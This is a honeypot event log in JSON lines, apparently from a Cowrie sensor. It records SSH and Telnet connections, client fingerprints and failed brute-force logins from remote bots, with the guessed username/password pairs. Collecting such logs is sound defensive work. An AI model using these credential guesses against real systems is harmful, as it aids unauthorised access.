{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:25.669348Z","src_ip":"37.233.85.71","session":"5a7393202a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":59288,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70bd0c1c0b1","protocol":"ssh","message":"New connection: 170.106.119.118:59288 (10.17.0.5:22) [session: c70bd0c1c0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.500593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.505868Z","src_ip":"170.106.119.118","session":"c70bd0c1c0b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.579102Z","src_ip":"170.106.119.118","session":"c70bd0c1c0b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.016106605529785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.778033Z","src_ip":"152.42.224.71","session":"0d0c0f96e234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35056,"dst_ip":"10.17.0.5","dst_port":23,"session":"106aa271f88d","protocol":"telnet","message":"New connection: 152.42.224.71:35056 (10.17.0.5:23) [session: 106aa271f88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.873260Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"eleven","message":"login attempt [root/eleven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:26.888686Z","src_ip":"170.106.119.118","session":"c70bd0c1c0b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":34014,"dst_ip":"159.203.135.109","dst_port":22,"session":"c168f461fda6","protocol":"ssh","message":"New connection: 43.159.169.93:34014 (159.203.135.109:22) [session: c168f461fda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:27.548816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:27.553530Z","src_ip":"43.159.169.93","session":"c168f461fda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:27.620935Z","src_ip":"43.159.169.93","session":"c168f461fda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:27.926187Z","src_ip":"43.159.169.93","session":"c168f461fda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:27.960976Z","src_ip":"170.106.119.118","session":"c70bd0c1c0b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:28.997395Z","src_ip":"43.159.169.93","session":"c168f461fda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05ecc9cada8","protocol":"ssh","message":"New connection: 176.65.132.5:49814 (10.17.0.5:22) [session: e05ecc9cada8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:29.166843Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:29.171690Z","src_ip":"176.65.132.5","session":"e05ecc9cada8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.46272039413452,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:31.805048Z","src_ip":"152.42.224.71","session":"c2dd496e6403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":16006,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb414aff9d6","protocol":"ssh","message":"New connection: 176.65.132.5:16006 (10.17.0.5:22) [session: aeb414aff9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:42.142482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:42.147394Z","src_ip":"176.65.132.5","session":"aeb414aff9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:42.230346Z","src_ip":"176.65.132.5","session":"aeb414aff9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:42.397877Z","src_ip":"176.65.132.5","session":"aeb414aff9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:43.532823Z","src_ip":"176.65.132.5","session":"aeb414aff9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00377082824707,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:45.638282Z","src_ip":"152.42.224.71","session":"b1838882aded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":54272,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ac4fc08282c","protocol":"ssh","message":"New connection: 43.153.22.143:54272 (10.17.0.5:22) [session: 5ac4fc08282c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:46.948270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:46.956360Z","src_ip":"43.153.22.143","session":"5ac4fc08282c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:47.023724Z","src_ip":"43.153.22.143","session":"5ac4fc08282c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tablet","message":"login attempt [root/tablet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:47.324100Z","src_ip":"43.153.22.143","session":"5ac4fc08282c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:48.395130Z","src_ip":"43.153.22.143","session":"5ac4fc08282c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56132,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e99cc0bc66","protocol":"ssh","message":"New connection: 51.250.105.222:56132 (10.17.0.5:22) [session: 37e99cc0bc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:51.785491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:51.790948Z","src_ip":"51.250.105.222","session":"37e99cc0bc66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:51.917024Z","src_ip":"51.250.105.222","session":"37e99cc0bc66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19881988","message":"login attempt [root/19881988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:52.296607Z","src_ip":"51.250.105.222","session":"37e99cc0bc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:53.426288Z","src_ip":"51.250.105.222","session":"37e99cc0bc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.658544301986694,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:56.075562Z","src_ip":"152.42.224.71","session":"995433b04b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36644,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c9abc1aa21","protocol":"ssh","message":"New connection: 94.159.98.239:36644 (159.203.135.109:22) [session: 69c9abc1aa21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:57.814626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:57.823251Z","src_ip":"94.159.98.239","session":"69c9abc1aa21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:57.953626Z","src_ip":"94.159.98.239","session":"69c9abc1aa21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:58.365351Z","src_ip":"94.159.98.239","session":"69c9abc1aa21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41026,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb02604cef38","protocol":"ssh","message":"New connection: 193.32.162.145:41026 (10.17.0.5:22) [session: bb02604cef38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:58.647292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:58.685009Z","src_ip":"193.32.162.145","session":"bb02604cef38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:58.748978Z","src_ip":"193.32.162.145","session":"bb02604cef38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.140406Z","src_ip":"193.32.162.145","session":"bb02604cef38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":40060,"dst_ip":"159.203.135.109","dst_port":22,"session":"d82f431746ad","protocol":"ssh","message":"New connection: 43.128.111.187:40060 (159.203.135.109:22) [session: d82f431746ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.248738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.257144Z","src_ip":"43.128.111.187","session":"d82f431746ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.502267Z","src_ip":"43.128.111.187","session":"d82f431746ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.507915Z","src_ip":"94.159.98.239","session":"69c9abc1aa21","protocol":"ssh"}
